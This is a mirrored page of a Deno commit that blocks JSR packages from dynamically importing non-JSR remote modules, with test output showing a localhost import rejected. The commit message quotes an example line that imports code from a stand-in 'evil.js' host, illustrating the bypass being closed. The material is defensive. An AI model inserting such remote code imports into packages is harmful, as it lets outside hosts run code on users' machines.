mirror of
https://github.com/denoland/deno.git
synced 2024-12-29 02:29:06 -05:00
918c5e648f
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
8 lines
564 B
Text
8 lines
564 B
Text
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
|
|
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
|
|
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts
|
|
Download http://localhost:4545/welcome.ts
|
|
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
|
|
await import("http://localhost:4545/welcome.ts");
|
|
^
|
|
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts:1:1
|